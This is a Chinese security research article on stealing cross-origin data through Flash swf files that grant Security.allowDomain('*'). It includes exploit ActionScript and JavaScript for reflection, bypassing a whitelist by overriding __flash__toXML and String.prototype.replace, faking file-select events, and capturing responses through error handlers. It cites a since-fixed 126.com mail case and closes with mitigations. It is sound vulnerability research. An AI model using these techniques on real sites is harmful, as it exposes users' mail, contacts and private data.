[簡版:https://weibo.com/p/1001603881940380956046]
前言
一直以為該風險早已被重視,但最近無意中發現,仍有不少網站存在該缺陷,其中不乏一些常用的郵箱、社交網站,於是有必要再探討一遍。
事實上,這本不是什么漏洞,是 Flash 與生俱來的一個正常功能。但由於一些 Web 開發人員了解不夠深入,忽視了該特性,從而埋下安全隱患。
原理
這一切還得從經典的授權操作說起:
Security.allowDomain('*')
對於這行代碼,或許都不陌生。盡管知道使用 * 是有一定風險的,但想想自己的 Flash 里並沒有什么高危操作,把我拿去又能怎樣?
因此,一些開發人員以為只要不與 JS 通信,就高枕無憂了。同時為了圖方便,直接給 swf 授權了 *,省去一大堆信任列表。
事實上,Flash 被網頁嵌套僅僅是其中一種而已,更普遍的,則是 swf 之間的嵌套。然而無論何種方式,都是通過 Security.allowDomain 進行授權的 —— 這意味着,一個 * 不僅允許被第三方網頁調用,同時還包括了其他任意 swf!
被網頁嵌套,或許難以找到利用價值。但被自己的同類嵌套,可用之處就大幅增加了。因為它們都是 Flash,位於同一個運行時里,相互之間存在着密切的關聯。
我們如何將這種關聯,進行充分利用呢?
利用
關聯容器
在 Flash 里,舞台(stage)是這個世界的根基。無論加載多少個 swf,舞台始終只有一個。任何元素(DisplayObject)必須添加到舞台、或其子容器下,才能展示和交互。
因此,不同 swf 創建的元素,都是通過同一個舞台展示的。它們能感知相互的存在,只是受到同源策略的限制,未必能相互操作。
然而,一旦某個 swf 主動開放權限,那么它的元素就不再受到保護,能被任意 swf 訪問了!
聽起來似乎不是很嚴重。我創建的界面元素,又有何訪問價值?也就獲取一些坐標、顏色等信息而已。
偷窺元素的自身屬性,或許並沒什么意義。但並非所有的元素,都是為了純粹展示的 —— 有時為了擴展功能,在 DisplayObject 之上實現額外的功能。
最典型的,就是每個 swf 的主類 —— 它們都繼承於 Sprite,即使程序里沒用到任何界面相關的。
有這樣擴展元素存在,我們就可以訪問那些額外的功能了。
開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上,擴展了網絡加載的功能:
// vul.swf
public class Vul extends Sprite {
public var urlLoader:URLLoader = new URLLoader();
public function download(url:String) : void {
urlLoader.load(new URLRequest(url));
...
}
public function Vul() {
Security.allowDomain('*');
...
}
...
}
通過第三方 swf,我們將其加載進來。由於 Vul 繼承了 Sprite,因此擁有了元素的基因,我們可以從容器中找到它。
同時它也是主類,默認會被添加到 Loader 這個加載容器里。
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
var main:* = loader.getChildAt(0);
trace(main); // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));
因為 Loader 是子 swf 的默認容器,所以其中第一個元素顯然就是子 swf 的主類:Vul。
由於 Vul 定義了一個叫 download 的公開方法,並且授權了所有的域名,因此在第三方 exp.swf 里,自然也能調用它:
main.download('//swf-site/data');
同時 Vul 中的 urlLoader 也是一個公開暴露的成員變量,同樣可被外部訪問到,並對其添加數據接收事件:
var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
trace(ld.data);
});
盡管這個 download 方法是由第三方 exp.swf 發起的,但最終執行 URLLoader
的 load
方法時,上下文位於 vul.swf 里,因此這個請求仍屬於 swf-site 的源。
於是攻擊者從任意位置,跨站訪問 swf-site 下的數據了。
更糟的是,Flash 的跨源請求可通過 crossdomain.xml 來授權。如果某個站點允許 swf-site,那么它也成了受害者。
如果用戶正處於登錄狀態,攻擊者悄悄訪問帶有個人信息的頁面,用戶的隱私數據可能就被泄露了。攻擊者甚至還可模擬用戶請求,將惡意鏈接發送給其他好友,導致蠕蟲傳播。
ActionScript 雖然是強類型的,但只是開發時的約束,在運行時仍和 JavaScript 一樣,可動態訪問屬性。
類反射
通過容器這個橋梁,我們可訪問到子 swf 中的對象。但前提條件仍過於理想,現實中能利用的並不多。
如果目標對象不是一個元素,也沒有和公開的對象相關聯,甚至根本就沒有被實例化,那是否就無法獲取到了?
做過頁游開發的都試過,將一些后期使用的素材打包在獨立的 swf 里,需要時再加載回來從中提取。目標 swf 僅僅是一個資源包,其中沒有任何腳本,那是如何參數提取的?
事實上,整個過程無需子 swf 參與。所謂的『提取』,其實就是 Flash 中的反射機制。通過反射,我們即可隔空取物,直接從目標 swf 中取出我們想要的類。
因此我們只需從目標 swf 里,找到一個使用了網絡接口類,即可嘗試為我們效力了。
開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf,反編譯后發現,其中一個類里封裝了簡單的網絡操作:
// vul.swf
public class Tool {
public function getUrlData(url:String, cb:Function) : void {
var ld:URLLoader = new URLLoader();
ld.load(new URLRequest(url));
ld.addEventListener('complete', function(e:Event) : void {
cb(ld.data);
});
...
}
...
在正常情況下,需一定的交互才會創建這個類。但反射,可以讓我們避開這些條件,提取出來直接使用:
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
var obj:* = new cls;
obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
trace(d);
});
});
loader.load(new URLRequest('//swf-site/vul.swf'));
由於 victim-site/crossdomain.xml 允許 swf-site 訪問,於是 vul.swf 在不經意間,就充當了隱私泄露的傀儡。
攻擊者擁有了 victim-site 的訪問權,即可跨站讀取頁面數據,訪問用戶的個人信息了。
由於大多 Web 開發者對 Flash 的安全仍局限於 XSS 之上,從而忽視了這類風險。即使在如今,網絡上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大網站也紛紛中招。
當然,即使有反射這樣強大的武器,也並非所有的 swf 都是可以利用的。顯然,要符合以下幾點才可以:
-
執行 Security.allowDomain(可控站點)
-
能控制觸發 URLLoader/URLStream 的 load 方法,並且 url 參數能自定義
-
返回的數據可被獲取
第一條:這就不用說了,反射的前提也是需要對方授權的。
第二條:理想情況下,可直接調用反射類中提供的加載方法。但現實中未必都是 public 的,這時就無法直接調用了。只能分析代碼邏輯,看能不能通過公開的方法,構造條件使得流程走到請求發送的那一步。同時 url 參數也必須可控,否則也就沒意義了。
第三條:如果只能將請求發送出去,卻不能拿到返回的內容,同樣也是沒有意義的。
也許你會說,為什么不直接反射出目標 swf 中的 URLLoader 類,那不就可以直接使用了嗎。然而事實上,光有類是沒用的,Flash 並不關心這個類來自哪個 swf,而是看執行 URLLoader::load 時,當前位於哪個 swf。如果在自己的 swf 里調用 load,那么請求仍屬於自己的源。
同時,AS3 里已沒有 eval 函數了。唯一能讓數據變指令的,就是 Loader::loadBytes,但這個方法也有類似的判斷。
因此我們還是得通過目標 swf 里的已有的功能,進行利用。
案例
這里分享一個現實中的案例,之前已上報並修復了的。
這是 126.com 下的一個 swf,位於 http://mail.126.com/js6/h/flashRequest.swf
。
反編譯后可發現,主類初始化時就開啟了 * 的授權,因此整個 swf 中的類即可隨意使用了!
同時,其中一個叫 FlashRequest 的類,封裝了常用的網絡操作,並且關鍵方法都是 public 的:
我們將其反射出來,根據其規范調用,即可發起跨源請求了!
由於網易不少站點的 crossdomain.xml 都授權了 126.com,因此可暗中查看已登錄用戶的 163/126 郵件了:
甚至還可以讀取用戶的通信錄,將惡意鏈接傳播給更多的用戶!
進階
借助爬蟲和工具,我們可以找出不少可輕易利用的 swf 文件。不過本着研究的目的,我們繼續探討一些需仔細分析才能利用的案例。
進階 No.1 —— 繞過路徑檢測
當然也不是所有的開發人員,都是毫不思索的使用 Security.allowDomain('*') 的。
一些有安全意識的,即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程:
// vul-1.swf
public function Main() {
var host:String = ExternalInterface.call('function(){return window.location.host}');
if host not match white-list
return
Security.allowDomain('*');
...
它會在授權之前,對嵌套的頁面進行判斷:如果不在白名單列表里,那就直接退出。
由於白名單的匹配邏輯很簡單,也找不出什么瑕疵,於是只能將目光轉移到 ExternalInterface 上。為什么要使用 JS 來獲取路徑?
因為 Flash 只提供當前 swf 的路徑,並不知道自己是被誰嵌套的,於是只能用這種曲線救國的辦法了。
不過上了 JS 的賊船,自然就躲不過厄運了。有數不清的前端黑魔法正等着躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通信,顯然需要一套消息協議,以及一個 JS 版的中間橋梁,用以支撐。了解 Flash XSS 的應該都不陌生。
在這個橋梁里,其中有一個叫 __flash__toXML
的函數,負責將 JS 執行后的結果,封裝成消息協議返回給 Flash。如果能搞定它,那一切就好辦了。
顯然這個函數默認是不存在的,是載入了 Flash 之后才注冊進來的。既然是一個全局函數,頁面中的 JS 也能重定義它:
// exp-1.js
function handler(str) {
console.log(str);
return '<string>hi,jack</string>';
}
setInterval(function() {
var rawFn = window.__flash__toXML;
if (rawFn && rawFn != handler) {
window.__flash__toXML = handler;
}
}, 1);
通過定時器不斷監控,一旦出現就將其重定義。於是用 ExternalInterface.call 無論執行什么代碼,都可以隨意返回內容了!
為了消除定時器的延遲誤差,我們先在自己的 swf 里,隨便調用下 ExternalInterface.call 進行預熱,讓 __flash__toXML
提前注入。之后子 swf 使用時,已經是被覆蓋的版本了。
當然,即使不使用覆蓋的方式,我們仍可以控制 __flash__toXML
的返回結果。
仔細分析下這個函數,其中調用了 __flash__escapeXML
:
function __flash__toXML(value) {
var type = typeof(value);
if (type == "string") {
return "<string>" + __flash__escapeXML(value) + "</string>";
...
}
function __flash__escapeXML(s) {
return s.replace(/&/g, "&").replace(/</g, "<") ... ;
}
里面有一大堆的實體轉義,但又如何進行利用?
因為它是調用 replace
進行替換的,然而在萬惡的 JS 里,常用的方法都是可被改寫的!我們可以讓它返回任何想要的值:
// exp-1.js
String.prototype.replace = function() {
return 'www.test.com';
};
甚至還可以針對 __flash__escapeXML
的調用,返回特定值:
String.prototype.replace = function F() {
if (F.caller == __flash__escapeXML) {
return 'www.test.com';
}
...
};
於是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單里的域名,即可繞過初始化中的檢測,從而順利執行 Security.allowDomain(*)。
所以,絕不能相信 JS 返回的內容。連標點符號都不能信!
進階 No.2 —— 構造請求條件
下面這個案例,是某社交網站的頭像上傳 Flash。
不像之前那些,都可順利找到公開的網絡接口。這個案例十分苛刻,搜索整個項目,只出現一處 URLLoader,而且還是在 private 方法里。
// vul-2.swf
public class Uploader {
public function Uploader(file:FileReference) {
...
file.addEventListener(Event.SELECT, handler);
}
private function handler(e:Event) : void {
var file:FileReference = e.target as FileReference;
// check filename and data
file.name ...
file.data ...
// upload(...)
}
private function upload(...) : void {
var ld:URLLoader = new URLLoader();
var req:URLRequest = new URLRequest();
req.method = 'POST';
req.data = ...;
req.url = Param.service_url + '?xxx=' ....
ld.load(req);
}
}
然而即使要觸發這個方法也非常困難。因為這是一個上傳控件,只有當用戶選擇了文件對話框里的圖片,並通過參數檢驗,才能走到最終的上傳位置。
唯一可被反射調用的,就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 對象,來構造條件。
// exp-2.swf
var file:FileReference = new FileReference();
var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);
然而 FileReference 不同於一般的對象,它會調出界面。如果中途彈出文件對話框,並讓用戶選擇,那絕對是不現實的。
不過,彈框和回調只是一個因果關系而已。彈框會產生回調,但回調未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher,所以我們可以人為的制造一個事件:
file.dispatchEvent(new Event(Event.SELECT));
這樣,就進入文件選中后的回調函數里了。
由於這一步會校驗文件名、內容等屬性,因此還得事先給這些屬性賦值。然而遺憾的是,這些屬性都是只讀的,根本無法設置。
等等,為什么會有只讀的屬性?屬性不就是一個成員變量嗎,怎么做到只能讀不可寫?除非是 const,但那是常量,並非只讀屬性。
原來,所謂的只讀,就是只提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變,但外部不可寫的特征。
如果我們能 hook 這個 getter,那就能返回任意值了。然而 AS 里的類默認都是密閉的,不像 JS 那樣靈活,可隨意篡改原型鏈。
事實上在高級語言里,有着更為優雅的 hook 方式,我們稱作『重寫』。我們創建一個繼承 FileReference 的類,即可重寫那些 getter 了:
// exp-2.swf
class FileReferenceEx extends FileReference {
override public function get name() : String {
return 'hello.gif';
}
override public function get data() : ByteArray {
var bytes:ByteArray = new ByteArray();
...
return bytes;
}
}
根據著名的『里氏替換原則』,任何基類可以出現的地方,子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的,之后一旦訪問 name 等屬性時,自然就落到我們的 getter 上了。
// exp-2.swf
var file:FileReference = new FileReferenceEx(); // !!!
...
var obj:* = new cls(file);
到此,我們成功模擬了文件選擇的整個流程。
接着就到關鍵的上傳位置了。慶幸的是,它沒寫死上傳地址,而是從環境變量(loaderInfo.parameters)里讀取。
說到環境變量,大家首先想到網頁中 Flash 元素的 flashvars
屬性,但其實還有兩個地方可以傳入:
-
swf url query(例如 .swf?a=1&b=2)
-
LoaderContext
由於 url query 是固定的,后期無法修改,所以選擇 LoaderContext 來傳遞:
// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);
因為 LoaderContext 里的 parameters 是運行時共享的,這樣就能隨時更改環境變量了:
// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';
同時為了不讓多余的參數發送上去,還可以在 URL 末尾放置一個 #,讓后面多余的部分變成 Hash,就不會走流量了。
盡管這是個很苛刻的案例,但仔細分析還是找出解決辦法的。
當然,我們目的並不是為了結果,而是其中分析的樂趣:)
進階 No.3 —— 捕獲返回數據
當然,光把請求發送出去還是不夠的,如果無法拿到返回的結果,那還是白忙活。
最理想的情況,就是能傳入回調接口,這樣就可直接獲得數據了。但現實未必都是這般美好,有時我們得自己想辦法取出數據。
一些簡單的 swf 通常不會封裝一個的網絡請求類,每次使用時都直接寫原生的代碼。這樣,可控的因子就少很多,利用難度就會大幅提升。
例如這樣的場景,盡管能控制請求地址,但由於沒法拿到 URLLoader,也就無從獲取返回數據了:
public function download(url:String) : void {
var ld:URLLoader = new URLLoader();
ld.load(new URLRequest(url));
ld.addEventListener('complete', function(e:Event) : void {
// do nothing
});
}
但通常不至於啥也不做,多少都會處理下返回結果。這時就得尋找機會了。
一旦將數據賦值到公開的成員變量里,那么我們就可通過輪詢的方式來獲取了:
public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
data = e.data;
});
或者,將數據存放到了某個元素里,用於顯示:
private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
textbox.text = e.data;
});
同樣可以利用文章開頭提到的方法,從父容器里找出相應的元素,定時輪詢其中的內容。
不過這些都算容易解決的。在一些場合,返回的數據根本不符合預期的格式,因此就無法處理直接報錯了。
下面是個非常普遍的案例。在接收事件里,將數據進行固定格式的解碼:
// vul-3.swf
import com.adobe.serialization.json.JSON;
ld.addEventListener('complete', function(e:Event) : void {
var data:* = JSON.decode(e.data);
...
});
因為開發人員已經約定使用 JSON 作為返回格式,所以壓根就沒容錯判斷,直接將數據進行解碼。
然而我們想要跨站讀取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在這里了。
難道就此放棄?都報錯無法往下走了,那還能怎么辦。唯一可行的,就是將錯就錯,往『錯誤』的方向走。
一個強大的運行時系統,都會提供一些接口,供開發者捕獲全局異常。HTML 里有,Flash 里當然也有,甚至還要強大的多 —— 不僅能夠獲得錯誤相關的信息,甚至還能拿到 throw 出來的那個 Error 對象!
一般通用的類庫,往往會有健全的參數檢驗。當遇到不合法的參數時,通常會將參數連同錯誤信息,作為異常拋出來。如果某個異常對象里,正好包含了我們想要的敏感數據的話,那就非常美妙了。
就以 JSON 解碼為例,我們寫個 Demo 驗證一下:
var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);
我們嘗試將 HTML 字符傳入 JSON 解碼器,最終被斷在了類庫拋出的異常處:
異常中的前兩個參數,看起來沒多大意義。但第三個參數,里面究竟藏着是什么?
不用猜想,這正是我們想要的東西 —— 傳入解碼器的整個字符參數!
如此,我們就可在全局異常捕獲中,拿到完整的返回數據了:
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
trace(e.error.text);
});
驚呆了吧!只要仔細探索,一些看似不可能實現的,其實也能找到解決方案。
補救
如果從代碼層面來修補,短時間內也難以完成。
大型網站長期以來,積累了相當數量的 swf 文件。有時為了解決版本沖突,甚至在文件名里使用了時間、摘要等隨機數,這類的 swf 當時的源碼,或許早已不再維護了。
因此,還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該盡早移除,需要則盡可能縮小子域范圍。畢竟,只要出現一個帶缺陷的 swf 文件,整個站點的安全性就被拉低了。
事實上,即使通過反射目標 swf 實現的跨站請求,referer 仍為攻擊者的頁面。因此,涉及到敏感數據讀取的操作,驗證一下來源還是很有必要的。
作為用戶來說,禁用第三方 cookie 實在太有必要了。如今 Safari 已默認禁用,而 Chrome 則仍需手動添加。
總結
最后總結下,本文提到的 3 類權限:
-
代碼層面(public / private / ...)
-
模塊層面(Security.allowDomain)
-
站點層面(crossdomain.xml)
只要這幾點都滿足,就很有可能被用於跨源的請求。
也許會覺得 Flash 里坑太多了,根本防不勝防。但事實上這些特征早已存在,只是未被開發者重視而已。以至於各大網站如今仍普遍躺槍。
當然,信息泄露對每個用戶都是受害者。希望能讓更多的開發者看到,及時修復安全隱患。